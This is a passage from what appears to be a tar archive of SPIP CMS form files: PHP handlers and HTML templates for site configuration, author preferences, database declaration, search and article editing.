class=\"removelink\">$img_remove</a>"); } $res = "\n<div id='ajax_rubrique'>\n" . "<label>$label</label>\n" . "<input name='id_auteur' value='$id_auteur' type='hidden' />\n" . $a . "</div>\n" // onchange = pour le menu // l'evenement doit etre provoque a la main par le selecteur ajax . "<script type='text/javascript'>/*<![CDATA[*/ jQuery(function($){ $('#id_parent').on('change', function(){ var id_parent = parseInt(this.value); if (id_parent){ var titre = $('#titreparent').val() || this.options[this.selectedIndex].text; titre=titre.replace(/^\\s+/,''); // Ajouter la rubrique selectionnee au formulaire, // sous la forme d'un input name='rubriques[]' var el = '<input type=\'checkbox\' class=\'checkbox\' checked=\'checked\' name=\'restreintes[]\' value=\''+id_parent+'\' /> ' + '<label><a href=\'?exec=rubrique&id_rubrique='+id_parent+'\' target=\'_blank\'>'+titre+'</a></label>'; el = el + '$img_remove'; if (!$('$sel_css input[value='+id_parent+']').length) { $('$sel_css').append('<li class=\"rubrique\">'+el+'</li>'); } } }) .attr('name','noname'); }); /*]]>*/</script>"; } return $res; } configurer_rubriques.html000060400000004451152526232120011676 0ustar00<div class="formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class='titrem'><img src="#CHEMIN_IMAGE{rubrique-24.png}" class="cadre-icone" /><:icone_rubriques:></h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) <p><:config_activer_champs:></p> <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <div class="editer-groupe"> #SET{name,rubriques_descriptif}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer long_label editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_descriptif:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_oui" value="oui" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] /><label for="#GET{name}_oui"><:item_oui:></label> <input type="radio" name="#GET{name}" id="#GET{name}_non" value="non" [(#ENV{#GET{name}}|=={oui}|non)checked="checked"] /><label for="#GET{name}_non"><:item_non:></label> </div> </div> #SET{name,rubriques_texte}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer long_label editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_texte:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_oui" value="oui" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] /><label for="#GET{name}_oui"><:item_oui:></label> <input type="radio" name="#GET{name}" id="#GET{name}_non" value="non" [(#ENV{#GET{name}}|=={oui}|non)checked="checked"] /><label for="#GET{name}_non"><:item_non:></label> </div> </div> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><span class='image_loading'> </span><input type='submit' class='submit' value='<:bouton_enregistrer:>' /></p> </div></form> ] </div>configurer_preferences.php000060400000010336152526232120012000 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Formulaire de configuration des préférences auteurs dans l'espace privé * * Ces préférences sont stockées dans la clé `prefs` dans la session de l'auteur * en tant que tableau, ainsi que dans la colonne SQL `prefs` de spip_auteurs * sous forme sérialisée. * * @package SPIP\Core\Formulaires **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Chargement du formulaire de préférences d'un auteur dans l'espace privé * * @return array * Environnement du formulaire **/ function formulaires_configurer_preferences_charger_dist() { // travailler sur des meta fraiches include_spip('inc/meta'); lire_metas(); $valeurs = array(); $valeurs['display_navigation'] = isset($GLOBALS['visiteur_session']['prefs']['display_navigation']) ? $GLOBALS['visiteur_session']['prefs']['display_navigation'] : 'navigation_avec_icones'; $valeurs['display_outils'] = isset($GLOBALS['visiteur_session']['prefs']['display_outils']) ? $GLOBALS['visiteur_session']['prefs']['display_outils'] : 'oui'; $valeurs['display'] = (isset($GLOBALS['visiteur_session']['prefs']['display']) and $GLOBALS['visiteur_session']['prefs']['display'] > 0) ? $GLOBALS['visiteur_session']['prefs']['display'] : 2; $valeurs['couleur'] = (isset($GLOBALS['visiteur_session']['prefs']['couleur']) and $GLOBALS['visiteur_session']['prefs']['couleur'] > 0) ? $GLOBALS['visiteur_session']['prefs']['couleur'] : 1; $valeurs['spip_ecran'] = $GLOBALS['spip_ecran']; $couleurs = charger_fonction('couleurs', 'inc'); $les_couleurs = $couleurs(array(), true); foreach ($les_couleurs as $k => $c) { $valeurs['_couleurs_url'][$k] = generer_url_public('style_prive.css', 'ltr=' . $GLOBALS['spip_lang_left'] . '&' . $couleurs($k)); $valeurs['couleurs'][$k] = $c; } $valeurs['imessage'] = $GLOBALS['visiteur_session']['imessage']; return $valeurs; } /** * Traitements du formulaire de préférences d'un auteur dans l'espace privé * * @return array * Retours des traitements **/ function formulaires_configurer_preferences_traiter_dist() { if ($couleur = _request('couleur')) { $couleurs = charger_fonction('couleurs', 'inc'); $les_couleurs = $couleurs(array(), true); if (isset($les_couleurs[$couleur])) { $GLOBALS['visiteur_session']['prefs']['couleur'] = $couleur; } } if ($display = intval(_request('display'))) { $GLOBALS['visiteur_session']['prefs']['display'] = $display; } if ($display_navigation = _request('display_navigation') and in_array($display_navigation, ['navigation_sans_icone', 'navigation_avec_icones'])) { $GLOBALS['visiteur_session']['prefs']['display_navigation'] = $display_navigation; } if (!is_null($display_outils = _request('display_outils'))) { $GLOBALS['visiteur_session']['prefs']['display_outils'] = ($display_outils ? 'oui' : ''); } if (intval($GLOBALS['visiteur_session']['id_auteur'])) { include_spip('action/editer_auteur'); $c = array('prefs' => serialize($GLOBALS['visiteur_session']['prefs'])); if ($imessage = _request('imessage') and in_array($imessage, ['oui', 'non'])) { $c['imessage'] = $imessage; } auteur_modifier($GLOBALS['visiteur_session']['id_auteur'], $c); } if ($spip_ecran = _request('spip_ecran') and in_array($spip_ecran, ['etroit', 'large'])) { // Poser un cookie, // car ce reglage depend plus du navigateur que de l'utilisateur $GLOBALS['spip_ecran'] = $spip_ecran; include_spip('inc/cookie'); spip_setcookie('spip_ecran', $_COOKIE['spip_ecran'] = $spip_ecran, time() + 365 * 24 * 3600); } return array('message_ok' => _T('config_info_enregistree'), 'editable' => true); } configurer_redacteurs.php000060400000003052152526232120011635 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } function formulaires_configurer_redacteurs_charger_dist() { $valeurs = array(); foreach (array( 'accepter_inscriptions', ) as $m) { $valeurs[$m] = $GLOBALS['meta'][$m]; } return $valeurs; } function formulaires_configurer_redacteurs_traiter_dist() { $res = array('editable' => true); // Modification du reglage accepter_inscriptions => vider le cache // (pour repercuter la modif sur le panneau de login) if (($i = _request('accepter_inscriptions') and $i != $GLOBALS['meta']['accepter_inscriptions']) ) { include_spip('inc/invalideur'); suivre_invalideur('1'); # tout effacer } foreach (array( 'accepter_inscriptions', ) as $m) { if (!is_null($v = _request($m))) { ecrire_meta($m, $v == 'oui' ? 'oui' : 'non'); } } $res['message_ok'] = _T('config_info_enregistree'); return $res; } declarer_bases.html000060400000007057152526232120010375 0ustar00<div class="ajax formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class="titrem"><:onglet_declarer_une_autre_base:> (1/3)</h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [<p><strong><:config_info_base_sup_disponibles:></strong><br /> (#ENV*{_bases_deja}|implode{', '}) </p>] <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <p class="explication"><:config_info_base_sup:></p> <div class="editer-groupe"> #SET{name,sql_serveur_db}#SET{obli,''}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:install_select_type_db:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ] <select class="select" name="#GET{name}" id="#GET{name}"> <BOUCLE_serv(POUR){tableau #ENV*{_serveurs}}> <option value="#CLE"[(#ENV{#GET{name}}|=={#CLE}|oui)selected="selected"]>[(#VALEUR|_T)]</option> </BOUCLE_serv> </select> <p><:install_types_db_connus:></p> <p class="small"><:install_types_db_connus_avertissement:></p> </div> <div class="fieldset connexion_db"> <fieldset> <legend><:install_adresse_base_hebergeur:></legend> #SET{name,adresse_db}#SET{obli,''}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:entree_base_donnee_1:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<input type="text" class="text" name="#GET{name}" value="#ENV*{#GET{name}}" id="#GET{name}"/> </div> #SET{name,login_db}#SET{obli,''}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:entree_login_connexion_1:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<input type="text" class="text" name="#GET{name}" value="#ENV*{#GET{name}}" id="#GET{name}"/> </div> #SET{name,pass_db}#SET{obli,''}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:entree_mot_passe_1:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<input type="password" class="text password" name="#GET{name}" value="#ENV*{#GET{name}}" id="#GET{name}"/> </div> </fieldset> </div> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><span class='image_loading'> </span> <input type='submit' class='submit' value='<:bouton_suivant:>' /></p> </div></form> </div> <script type="text/javascript"> jQuery(function($) { if ($("#sql_serveur_db").val().match("sqlite*")) $("#sql_serveur_db").parents('.editer').siblings(".connexion_db").hide(); else $("#sql_serveur_db").parents('.editer').siblings(".connexion_db").show(); $("#sql_serveur_db").change(function(){ if ($(this).find("option:selected").val().match("sqlite*")) $("#sql_serveur_db").parents('.editer').siblings(".connexion_db:visible").hide('fast'); else $("#sql_serveur_db").parents('.editer').siblings(".connexion_db:hidden").show('fast'); }); }); </script>configurer_transcodeur.php000060400000002743152526232120012033 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } function formulaires_configurer_transcodeur_charger_dist() { $valeurs = array( 'charset' => $GLOBALS['meta']['charset'], ); return $valeurs; } function formulaires_configurer_transcodeur_verifier_dist() { include_spip('inc/charsets'); $erreurs = array(); if (!$charset = _request('charset')) { $erreurs['charset'] = _T('info_obligatoire'); } elseif ($charset != 'utf-8' and !load_charset($charset)) { $erreurs['charset'] = _T('utf8_convert_erreur_orig', array('charset' => entites_html($charset))); } return $erreurs; } function formulaires_configurer_transcodeur_traiter_dist() { $res = array('editable' => true); ecrire_meta('charset', _request('charset')); $res['message_ok'] = _T('config_info_enregistree'); return $res; } configurer_visiteurs.php000060400000003207152526232120011533 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/presentation'); function formulaires_configurer_visiteurs_charger_dist() { $valeurs = array(); if (avoir_visiteurs(false, false)) { $valeurs['editable'] = false; } foreach (array( 'accepter_visiteurs' ) as $m) { $valeurs[$m] = $GLOBALS['meta'][$m]; } return $valeurs; } function formulaires_configurer_visiteurs_traiter_dist() { $res = array('editable' => true); // Modification du reglage accepter_inscriptions => vider le cache // (pour repercuter la modif sur le panneau de login) if (($i = _request('accepter_visiteurs') and $i != $GLOBALS['meta']['accepter_visiteurs']) ) { include_spip('inc/invalideur'); suivre_invalideur('1'); # tout effacer } foreach (array( 'accepter_visiteurs', ) as $m) { if (!is_null($v = _request($m))) { ecrire_meta($m, $v == 'oui' ? 'oui' : 'non'); } } $res['message_ok'] = _T('config_info_enregistree'); return $res; } recherche_ecrire.html000060400000003007152526232120010707 0ustar00<div class="formulaire_spip formulaire_recherche" role='search'> <form action="[(#ENV{action})]" method="get"><div> [(#ENV{action}|form_hidden)] [<input type="hidden" name="lang" value="(#ENV{lang})" />] <label for="#ENV{_id_champ,recherche}"><:info_rechercher_02:></label> <input type="text" class="text[(#ENV{recherche}|oui) cancelable]" size="10" name="recherche" id="#ENV{_id_champ,recherche}" placeholder="<:info_rechercher|attribut_html:>"[ value="(#ENV{recherche})"] />[<a (#ENV{recherche}|oui) class="cancel[ (#ENV{class,''})]" href="[(#ENV{action}|parametre_url{'recherche',''})]" onclick="$(this).siblings('input.text').val('')" title='<:annuler_recherche|attribut_html:>'>[(#CHEMIN_IMAGE{fermer-16.png} |balise_img |inserer_attribut{alt,<:annuler_recherche:>})]</a>]<input type='image' src='[(#CHEMIN_IMAGE{rechercher-20.png})]' class="image" alt='<:info_rechercher|attribut_html:>' onclick="return recherche_submit_#ENV{_id_champ,recherche}.apply(this);" /><a class="none[ (#ENV{class,''})] refresh" href="[(#ENV{action}|parametre_url{'recherche',''})]"><:info_rechercher:></a> </div></form> <script type="text/javascript">/*<![CDATA[*/ function recherche_submit_#ENV{_id_champ,recherche}(){ $.placeholderLabel.disable_placeholder_fields.apply($(this).parents('form').eq(0)); var a=$(this).siblings('a.refresh'); a.attr('href',parametre_url(a.attr('href'),'recherche',$(this).siblings('input.text').val())).followLink(); return false; }/*]]>*/</script> </div> editer_article.php000060400000015327152526232120010240 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion du formulaire de d'édition d'article * * @package SPIP\Core\Articles\Formulaires **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/actions'); include_spip('inc/editer'); /** * Chargement du formulaire d'édition d'article * * @uses formulaires_editer_objet_charger() * * @param int|string $id_article * Identifiant de l'article. 'new' pour une nouvel article. * @param int $id_rubrique * Identifiant de la rubrique parente * @param string $retour * URL de redirection après le traitement * @param int $lier_trad * Identifiant éventuel d'un article source de traduction * @param string $config_fonc * Nom de la fonction ajoutant des configurations particulières au formulaire * @param array $row * Valeurs de la ligne SQL de l'article, si connu * @param string $hidden * Contenu HTML ajouté en même temps que les champs cachés du formulaire. * @return array * Environnement du formulaire **/ function formulaires_editer_article_charger_dist( $id_article = 'new', $id_rubrique = 0, $retour = '', $lier_trad = 0, $config_fonc = 'articles_edit_config', $row = array(), $hidden = '' ) { $valeurs = formulaires_editer_objet_charger( 'article', $id_article, $id_rubrique, $lier_trad, $retour, $config_fonc, $row, $hidden ); if (test_formulaire_inclus_par_modele()) { if (intval($id_article) and !autoriser('modifier', 'article', intval($id_article))) { $valeurs['editable'] = ''; } } // il faut enlever l'id_rubrique car la saisie se fait sur id_parent // et id_rubrique peut etre passe dans l'url comme rubrique parent initiale // et sera perdue si elle est supposee saisie return $valeurs; } /** * Identifier le formulaire en faisant abstraction des paramètres qui * ne représentent pas l'objet édité * * @param int|string $id_article * Identifiant de l'article. 'new' pour une nouvel article. * @param int $id_rubrique * Identifiant de la rubrique parente * @param string $retour * URL de redirection après le traitement * @param int $lier_trad * Identifiant éventuel d'un article source de traduction * @param string $config_fonc * Nom de la fonction ajoutant des configurations particulières au formulaire * @param array $row * Valeurs de la ligne SQL de l'article, si connu * @param string $hidden * Contenu HTML ajouté en même temps que les champs cachés du formulaire. * @return string * Hash du formulaire */ function formulaires_editer_article_identifier_dist( $id_article = 'new', $id_rubrique = 0, $retour = '', $lier_trad = 0, $config_fonc = 'articles_edit_config', $row = array(), $hidden = '' ) { return serialize(array(intval($id_article), $lier_trad)); } /** * Choix par défaut des options de présentation * * @param array $row * Valeurs de la ligne SQL d'un article, si connu * return array * Configuration pour le formulaire */ function articles_edit_config($row) { global $spip_lang; $config = $GLOBALS['meta']; $config['lignes'] = 8; $config['langue'] = $spip_lang; $config['restreint'] = ($row['statut'] == 'publie'); return $config; } /** * Vérifications du formulaire d'édition d'article * * @uses formulaires_editer_objet_verifier() * * @param int|string $id_article * Identifiant de l'article. 'new' pour une nouvel article. * @param int $id_rubrique * Identifiant de la rubrique parente * @param string $retour * URL de redirection après le traitement * @param int $lier_trad * Identifiant éventuel d'un article source de traduction * @param string $config_fonc * Nom de la fonction ajoutant des configurations particulières au formulaire * @param array $row * Valeurs de la ligne SQL de l'article, si connu * @param string $hidden * Contenu HTML ajouté en même temps que les champs cachés du formulaire. * @return array * Erreurs du formulaire **/ function formulaires_editer_article_verifier_dist( $id_article = 'new', $id_rubrique = 0, $retour = '', $lier_trad = 0, $config_fonc = 'articles_edit_config', $row = array(), $hidden = '' ) { // auto-renseigner le titre si il n'existe pas titre_automatique('titre', array('descriptif', 'chapo', 'texte')); // on ne demande pas le titre obligatoire : il sera rempli a la volee dans editer_article si vide $erreurs = formulaires_editer_objet_verifier('article', $id_article, array('id_parent')); // si on utilise le formulaire dans le public if (!function_exists('autoriser')) { include_spip('inc/autoriser'); } if (!isset($erreurs['id_parent']) and !autoriser('creerarticledans', 'rubrique', _request('id_parent')) ) { $erreurs['id_parent'] = _T('info_creerdansrubrique_non_autorise'); } return $erreurs; } /** * Traitements du formulaire d'édition d'article * * @uses formulaires_editer_objet_traiter() * * @param int|string $id_article * Identifiant de l'article. 'new' pour une nouvel article. * @param int $id_rubrique * Identifiant de la rubrique parente * @param string $retour * URL de redirection après le traitement * @param int $lier_trad * Identifiant éventuel d'un article source de traduction * @param string $config_fonc * Nom de la fonction ajoutant des configurations particulières au formulaire * @param array $row * Valeurs de la ligne SQL de l'article, si connu * @param string $hidden * Contenu HTML ajouté en même temps que les champs cachés du formulaire. * @return array * Retours des traitements **/ function formulaires_editer_article_traiter_dist( $id_article = 'new', $id_rubrique = 0, $retour = '', $lier_trad = 0, $config_fonc = 'articles_edit_config', $row = array(), $hidden = '' ) { // ici on ignore changer_lang qui est poste en cas de trad, // car l'heuristique du choix de la langue est pris en charge par article_inserer // en fonction de la config du site et de la rubrique choisie set_request('changer_lang'); return formulaires_editer_objet_traiter( 'article', $id_article, $id_rubrique, $lier_trad, $retour, $config_fonc, $row, $hidden ); } configurer_redacteurs.html000060400000003212152526232120012010 0ustar00<div class="formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class='titrem'><img src="#CHEMIN_IMAGE{auteur-1comite-24.png}" class="cadre-icone" /><:info_inscription_automatique:></h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) <p><:info_question_inscription_nouveaux_redacteurs:></p> <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <div class="editer-groupe"> #SET{name,accepter_inscriptions}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> [ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_oui" value="oui" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] /><label for="#GET{name}_oui"><:item_accepter_inscriptions:></label> </div> <div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_non" value="non" [(#ENV{#GET{name}}|=={oui}|non)checked="checked"] /><label for="#GET{name}_non"><:item_non_accepter_inscriptions:></label> </div> </div> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><span class='image_loading'> </span><input type='submit' class='submit' value='<:bouton_enregistrer:>' /></p> </div></form> ] </div> rediriger_article.html000060400000003022152526232120011102 0ustar00<div class="formulaire_spip formulaire_#FORM formulaire_#FORM-#ENV{id}" id="formulaire_#FORM-#ENV{id}"> [<h3 class="titrem">[(#CHEMIN_IMAGE{site-24.png}|balise_img{'','cadre-icone'})]<:texte_article_virtuel:><br />(#ENV**{_afficher_url}|PtoBR)</h3>] [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV**{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV**{message_erreur})</p>] [(#ENV{editable}) <form method='post' action='#ENV{action}#formulaire_#FORM-#ENV{id}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <div class="editer-groupe"> #SET{name,redirection}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}-#ENV{id}"><:bouton_redirection:> #AIDER{artvirt}</label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<p class="explication"><:texte_reference_mais_redirige:></p> <input type="text" class="text" name="#GET{name}" id="#GET{name}-#ENV{id}" value="#ENV{#GET{name},'http://'}" onfocus="jQuery(this).parents('.editer-groupe').siblings('.boutons:hidden').show('fast');"/> </div> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons' style="display:none;"><span class='image_loading'> </span><input type='submit' class='submit' value='<:bouton_changer:>' /></p> </div></form> ] </div> configurer_logos.php000060400000002420152526232120010615 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } function formulaires_configurer_logos_charger_dist() { $valeurs = array(); foreach (array( 'activer_logos', 'activer_logos_survol' ) as $m) { $valeurs[$m] = $GLOBALS['meta'][$m]; } return $valeurs; } function formulaires_configurer_logos_traiter_dist() { $res = array('editable' => true); foreach (array( 'activer_logos', 'activer_logos_survol', ) as $m) { if (!is_null($v = _request($m))) { ecrire_meta($m, $v == 'oui' ? 'oui' : 'non'); } } $res['message_ok'] = _T('config_info_enregistree'); return $res; } configurer_relayeur.html000060400000005345152526232120011510 0ustar00<div class="formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class='titrem'><img src="#CHEMIN_IMAGE{reseau-24.png}" class="cadre-icone" /><:info_sites_proxy:>#AIDER{confhttpproxy}</h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) #SET{proxy,#VAL{<b><tt>}|concat{'http://proxy:8080','</tt></b>'}} <p><:texte_proxy{proxy_en_cours=#GET{proxy}}:></p> <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <input type='submit' class='submit' value='<:bouton_enregistrer:>' style="display:none;"/> <div class="editer-groupe"> #SET{name,http_proxy}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_url_proxy:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ] <input type="text" class="text" name="#GET{name}" id="#GET{name}" value="#ENV*{#GET{name}}" onchange="if (jQuery(this).val()) jQuery('.editer_test_proxy:hidden').show('fast'); else jQuery('.editer_test_proxy:visible').hide('fast');" /> </div> #SET{exemple,#VAL{<b><tt>}|concat{'127.0.0.1 .mondomaine.net','</tt></b>'}} #SET{name,http_noproxy}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_exceptions_proxy:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<p class="explication"><:pas_de_proxy_pour{exemple=#GET{exemple}}:></p> <input type="text" class="text" name="#GET{name}" id="#GET{name}" value="#ENV*{#GET{name}}" /> </div> #SET{name,test_proxy}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"[(#ENV{http_proxy}|strlen|non)style='display:none;']> <label for="#GET{name}"><:info_url_test_proxy:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<p class="explication"><:texte_test_proxy:></p> <input type="text" class="text" name="#GET{name}" id="#GET{name}" value="#ENV*{#GET{name}}" /> <input type='submit' class='submit' name="tester_proxy" value='<:bouton_test_proxy:>' /> </div> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><span class='image_loading'> </span><input type='submit' class='submit' value='<:bouton_enregistrer:>' /></p> </div></form> ] </div> configurer_moderniseur.html000060400000003255152526232120012212 0ustar00<div class="formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class='titrem'><img src="#CHEMIN_IMAGE{compat-24.png}" class="cadre-icone" /><:info_compatibilite_html:></h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) <p><:texte_compatibilite_html:></p> <p class="explication"><:texte_compatibilite_html_attention:></p> <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <div class="editer-groupe"> #SET{name,version_html_max}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> [ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_html4" value="html4" [(#ENV{#GET{name}}|=={html5}|non)checked="checked"] /><label for="#GET{name}_html4"><:item_version_html_max_html4:></label> </div> <div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_html5" value="html5" [(#ENV{#GET{name}}|=={html5}|oui)checked="checked"] /><label for="#GET{name}_html5"><:item_version_html_max_html5:></label> </div> </div> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><span class='image_loading'> </span><input type='submit' class='submit' value='<:bouton_enregistrer:>' /></p> </div></form> ] </div> configurer_langage.html000060400000002261152526232120011250 0ustar00<div class="formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class='titrem'><:titre_config_langage:></h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <div class="editer-groupe"> #SET{name,var_lang_ecrire}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:label_choix_langue:></label> [<span class='erreur_message'>(#GET{erreurs})</span>] [(#ENV{_langues}|afficher_langues_choix{#GET{name},#GET{name},#ENV{#GET{name}}})] </div> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><span class='image_loading'> </span><input type='submit' class='submit' value='<:bouton_enregistrer:>' /></p> </div></form> ] </div>login.php000060400000026251152526232120006367 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 